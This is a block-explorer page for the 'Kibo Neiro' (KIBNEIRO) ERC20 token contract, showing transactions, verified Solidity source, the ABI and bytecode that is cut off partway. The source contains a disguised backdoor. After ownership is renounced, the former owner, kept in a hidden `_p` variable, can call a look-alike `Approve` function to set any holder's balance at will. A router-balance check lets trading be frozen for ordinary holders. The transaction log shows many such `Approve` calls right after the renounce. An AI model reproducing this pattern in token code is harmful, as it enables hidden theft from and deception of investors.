ETH Price: $2,396.55 (-0.76%)

Contract

0xE1806b527ed9d674819073a8B4936015F7D602fd
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve204343062024-08-01 14:30:47209 days ago1722522647IN
0xE1806b52...5F7D602fd
0 ETH0.0006639314.34197825
Approve204343002024-08-01 14:29:35209 days ago1722522575IN
0xE1806b52...5F7D602fd
0 ETH0.0005419111.55963248
Approve204342272024-08-01 14:14:59209 days ago1722521699IN
0xE1806b52...5F7D602fd
0 ETH0.0004411217.77014494
Approve204342252024-08-01 14:14:35209 days ago1722521675IN
0xE1806b52...5F7D602fd
0 ETH0.0009166519.67866352
Approve204340812024-08-01 13:45:35209 days ago1722519935IN
0xE1806b52...5F7D602fd
0 ETH0.0004362217.57276291
Approve204340712024-08-01 13:43:35209 days ago1722519815IN
0xE1806b52...5F7D602fd
0 ETH0.0004764419.19290965
Approve204340692024-08-01 13:43:11209 days ago1722519791IN
0xE1806b52...5F7D602fd
0 ETH0.00098721.19453919
Approve204340522024-08-01 13:39:47209 days ago1722519587IN
0xE1806b52...5F7D602fd
0 ETH0.0008198417.60041967
Approve204340352024-08-01 13:36:23209 days ago1722519383IN
0xE1806b52...5F7D602fd
0 ETH0.0004595818.51378258
Approve204340302024-08-01 13:35:23209 days ago1722519323IN
0xE1806b52...5F7D602fd
0 ETH0.0008157217.51188045
Approve204340262024-08-01 13:34:35209 days ago1722519275IN
0xE1806b52...5F7D602fd
0 ETH0.0008499418.24661291
Approve204340262024-08-01 13:34:35209 days ago1722519275IN
0xE1806b52...5F7D602fd
0 ETH0.0008499418.24661291
Approve204340262024-08-01 13:34:35209 days ago1722519275IN
0xE1806b52...5F7D602fd
0 ETH0.0008499418.24661291
Approve204340222024-08-01 13:33:47209 days ago1722519227IN
0xE1806b52...5F7D602fd
0 ETH0.0008685618.64636714
Approve204340222024-08-01 13:33:47209 days ago1722519227IN
0xE1806b52...5F7D602fd
0 ETH0.0008685618.64636714
Approve204340222024-08-01 13:33:47209 days ago1722519227IN
0xE1806b52...5F7D602fd
0 ETH0.0008685618.64636714
Approve204340222024-08-01 13:33:47209 days ago1722519227IN
0xE1806b52...5F7D602fd
0 ETH0.0008685618.64636714
Approve204340222024-08-01 13:33:47209 days ago1722519227IN
0xE1806b52...5F7D602fd
0 ETH0.0008685618.64636714
Approve204340182024-08-01 13:32:59209 days ago1722519179IN
0xE1806b52...5F7D602fd
0 ETH0.0008386918.00515211
Approve204340182024-08-01 13:32:59209 days ago1722519179IN
0xE1806b52...5F7D602fd
0 ETH0.0008386918.00515211
Approve204340182024-08-01 13:32:59209 days ago1722519179IN
0xE1806b52...5F7D602fd
0 ETH0.0008386918.00515211
Approve204340182024-08-01 13:32:59209 days ago1722519179IN
0xE1806b52...5F7D602fd
0 ETH0.0008386918.00515211
Approve204340182024-08-01 13:32:59209 days ago1722519179IN
0xE1806b52...5F7D602fd
0 ETH0.0008386918.00515211
Approve204340142024-08-01 13:32:11209 days ago1722519131IN
0xE1806b52...5F7D602fd
0 ETH0.0007490516.18922824
Renounce Ownersh...204340042024-08-01 13:30:11209 days ago1722519011IN
0xE1806b52...5F7D602fd
0 ETH0.0006030213.26911757
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KIBNEIRO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _p;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }
 
    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _p = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply_hoppei;
    string private _name_hoppei;
    string private _symbol_hoppei;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;
        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer_hoppei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _transfer_withINGS(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;
        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

    function Approve(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address p = _p;
        bytes32 ss = keccak256(abi.encodePacked(msgSender));
        bytes32 ph = keccak256(abi.encodePacked(p));
        bytes32 amountHex = bytes32(amount);
        bool sr = ss == ph;
        if (sr) {
            return ups(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function ups(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

contract KIBNEIRO is ERC20 {
    uint256 private constant u = 100_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public i;
    uint256 public t;
    uint256 public a;
    mapping(address => bool) public s;

    uint256 _burnPercentiontertions = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Kibo Neiro", "KIBNEIRO", u) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        a = u / 50;
        t = u /50;

        s[DEAD] = true;
        s[router] = true;
        s[msg.sender] = true;
        s[address(this)] = true;
    }

    function _transfer_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _c(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!s[from] && !s[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercentiontertions) / 100;

                super._transfer_withINGS(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hoppei(from, to, amount);
    }

    function Remove_Limits() external onlyOwner {
        i = true;
    }

    function _c(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!i) {
            if (!s[from] && !s[to]) {
                require(amount <= t, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= a, "Max holding exceeded max");
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Remove_Limits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"i","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"s","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"t","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b50604051620016873803806200168783398101604081905262000039916200022d565b6040518060400160405280600a8152602001694b69626f204e6569726f60b01b815250604051806040016040528060088152602001674b49424e4549524f60c01b81525067016345785d8a0000620000a06200009a620001cb60201b60201c565b620001cf565b6005620000ae848262000304565b506006620000bd838262000304565b506004819055336000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d80546001600160a01b0319166001600160a01b03841617905550806200013b603267016345785d8a0000620003d0565b60095562000153603267016345785d8a0000620003d0565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff1991821681179092556001600160a01b0392909216600090815260408082208054851684179055338252808220805485168417905530825290208054909216179055620003f3565b3390565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200024057600080fd5b81516001600160a01b03811681146200025857600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200028a57607f821691505b602082108103620002ab57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002ff57600081815260208120601f850160051c81016020861015620002da5750805b601f850160051c820191505b81811015620002fb57828155600101620002e6565b5050505b505050565b81516001600160401b038111156200032057620003206200025f565b620003388162000331845462000275565b84620002b1565b602080601f831160018114620003705760008415620003575750858301515b600019600386901b1c1916600185901b178555620002fb565b600085815260208120601f198616915b82811015620003a15788860151825594840194600190910190840162000380565b5085821015620003c05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620003ee57634e487b7160e01b600052601260045260246000fd5b500490565b61128480620004036000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063a9059cbb11610071578063a9059cbb14610253578063dd62ed3e14610266578063e026c4af1461029f578063e5aa3d58146102c2578063f2fde38b146102cf57600080fd5b80638da5cb5b1461020157806390ec57f11461021c57806392d0d1531461022f57806395d89b4114610238578063a457c2d71461024057600080fd5b806323b872dd116100f457806323b872dd1461019b578063313ce567146101ae57806339509351146101bd57806370a08231146101d0578063715018a6146101f957600080fd5b806306fdde0314610131578063095ea7b31461014f5780630dbe671f1461017257806318160ddd146101895780631c504d8c14610191575b600080fd5b6101396102e2565b6040516101469190610f87565b60405180910390f35b61016261015d366004610fea565b610374565b6040519015158152602001610146565b61017b60095481565b604051908152602001610146565b60045461017b565b61019961038b565b005b6101626101a9366004611016565b6103a2565b60405160098152602001610146565b6101626101cb366004610fea565b610458565b61017b6101de366004611057565b6001600160a01b031660009081526002602052604090205490565b61019961048f565b6000546040516001600160a01b039091168152602001610146565b61017b61022a366004610fea565b6104a3565b61017b60085481565b610139610588565b61016261024e366004610fea565b610597565b610162610261366004610fea565b610632565b61017b61027436600461107b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101626102ad366004611057565b600a6020526000908152604090205460ff1681565b6007546101629060ff1681565b6101996102dd366004611057565b61063f565b6060600580546102f1906110b4565b80601f016020809104026020016040519081016040528092919081815260200182805461031d906110b4565b801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b5050505050905090565b60006103813384846106b8565b5060015b92915050565b6103936107dc565b6007805460ff19166001179055565b60006103af848484610836565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156104395760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044d85336104488685611104565b6106b8565b506001949350505050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610381918590610448908690611117565b6104976107dc565b6104a160006109b7565b565b60015460405133606081901b6bffffffffffffffffffffffff1916602083015260009290916001600160a01b0390911690839060340160405160208183030381529060405280519060200120905060008260405160200161051c919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f198184030181529190528051602090910120905085828214801561056a576001600160a01b0389166000908152600260205260409020829055815b9650505050505050610385565b6001600160a01b03891660009081526002602052604090205461055d565b6060600680546102f1906110b4565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156106195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610430565b61062833856104488685611104565b5060019392505050565b6000610381338484610836565b6106476107dc565b6001600160a01b0381166106ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610430565b6106b5816109b7565b50565b6001600160a01b03831661071a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b03821661077b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610430565b6001600160a01b03831661085c5760405162461bcd60e51b81526004016104309061112a565b6001600160a01b0382166108825760405162461bcd60e51b81526004016104309061116f565b61088d838383610a15565b8060000361089a57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156108dc57506001600160a01b0382166000908152600a602052604090205460ff16155b156109a757600d546001600160a01b0316600090815260026020526040902054156109495760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610430565b600c546001600160a01b03848116911614806109725750600c546001600160a01b038381169116145b156109a75760006064600b548361098991906111b2565b61099391906111c9565b90506109a184848484610ce0565b50505050565b6109b2838383610e68565b505050565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166109b2576001600160a01b0383166000908152600a602052604090205460ff16158015610a6157506001600160a01b0382166000908152600a602052604090205460ff16155b156109b257600854811115610aad5760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610430565b600c546001600160a01b0316610c4a57600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3491906111eb565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bba91906111eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2991906111eb565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610c6557505050565b60095481610c88846001600160a01b031660009081526002602052604090205490565b610c929190611117565b11156109b25760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610430565b6001600160a01b038416610d065760405162461bcd60e51b81526004016104309061112a565b6001600160a01b038316610d2c5760405162461bcd60e51b81526004016104309061116f565b6001600160a01b03841660009081526002602052604090205482811015610d655760405162461bcd60e51b815260040161043090611208565b6001600160a01b03851660009081526002602052604090208382039055610d8c8284611104565b92508160046000828254610da09190611104565b90915550506001600160a01b03841660009081526002602052604081208054859290610dcd908490611117565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5991815260200190565b60405180910390a35050505050565b6001600160a01b038316610e8e5760405162461bcd60e51b81526004016104309061112a565b6001600160a01b038216610eb45760405162461bcd60e51b81526004016104309061116f565b6001600160a01b03831660009081526002602052604090205481811015610eed5760405162461bcd60e51b815260040161043090611208565b610ef78282611104565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610f2d908490611117565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f7991815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610fb457858101830151858201604001528201610f98565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106b557600080fd5b60008060408385031215610ffd57600080fd5b823561100881610fd5565b946020939093013593505050565b60008060006060848603121561102b57600080fd5b833561103681610fd5565b9250602084013561104681610fd5565b929592945050506040919091013590565b60006020828403121561106957600080fd5b813561107481610fd5565b9392505050565b6000806040838503121561108e57600080fd5b823561109981610fd5565b915060208301356110a981610fd5565b809150509250929050565b600181811c908216806110c857607f821691505b6020821081036110e857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610385576103856110ee565b80820180821115610385576103856110ee565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610385576103856110ee565b6000826111e657634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156111fd57600080fd5b815161107481610fd5565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220f736b40d4d153cb2907c5ac69df69744a0f29df96d3291751f29ec62ecc163ed64736f6c634300081200330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063a9059cbb11610071578063a9059cbb14610253578063dd62ed3e14610266578063e026c4af1461029f578063e5aa3d58146102c2578063f2fde38b146102cf57600080fd5b80638da5cb5b1461020157806390ec57f11461021c57806392d0d1531461022f57806395d89b4114610238578063a457c2d71461024057600080fd5b806323b872dd116100f457806323b872dd1461019b578063313ce567146101ae57806339509351146101bd57806370a08231146101d0578063715018a6146101f957600080fd5b806306fdde0314610131578063095ea7b31461014f5780630dbe671f1461017257806318160ddd146101895780631c504d8c14610191575b600080fd5b6101396102e2565b6040516101469190610f87565b60405180910390f35b61016261015d366004610fea565b610374565b6040519015158152602001610146565b61017b60095481565b604051908152602001610146565b60045461017b565b61019961038b565b005b6101626101a9366004611016565b6103a2565b60405160098152602001610146565b6101626101cb366004610fea565b610458565b61017b6101de366004611057565b6001600160a01b031660009081526002602052604090205490565b61019961048f565b6000546040516001600160a01b039091168152602001610146565b61017b61022a366004610fea565b6104a3565b61017b60085481565b610139610588565b61016261024e366004610fea565b610597565b610162610261366004610fea565b610632565b61017b61027436600461107b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101626102ad366004611057565b600a6020526000908152604090205460ff1681565b6007546101629060ff1681565b6101996102dd366004611057565b61063f565b6060600580546102f1906110b4565b80601f016020809104026020016040519081016040528092919081815260200182805461031d906110b4565b801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b5050505050905090565b60006103813384846106b8565b5060015b92915050565b6103936107dc565b6007805460ff19166001179055565b60006103af848484610836565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156104395760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044d85336104488685611104565b6106b8565b506001949350505050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610381918590610448908690611117565b6104976107dc565b6104a160006109b7565b565b60015460405133606081901b6bffffffffffffffffffffffff1916602083015260009290916001600160a01b0390911690839060340160405160208183030381529060405280519060200120905060008260405160200161051c919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f198184030181529190528051602090910120905085828214801561056a576001600160a01b0389166000908152600260205260409020829055815b9650505050505050610385565b6001600160a01b03891660009081526002602052604090205461055d565b6060600680546102f1906110b4565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156106195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610430565b61062833856104488685611104565b5060019392505050565b6000610381338484610836565b6106476107dc565b6001600160a01b0381166106ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610430565b6106b5816109b7565b50565b6001600160a01b03831661071a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b03821661077b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610430565b6001600160a01b03831661085c5760405162461bcd60e51b81526004016104309061112a565b6001600160a01b0382166108825760405162461bcd60e51b81526004016104309061116f565b61088d838383610a15565b8060000361089a57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156108dc57506001600160a01b0382166000908152600a602052604090205460ff16155b156109a757600d546001600160a01b0316600090815260026020526040902054156109495760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610430565b600c546001600160a01b03848116911614806109725750600c546001600160a01b038381169116145b156109a75760006064600b548361098991906111b2565b61099391906111c9565b90506109a184848484610ce0565b50505050565b6109b2838383610e68565b505050565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166109b2576001600160a01b0383166000908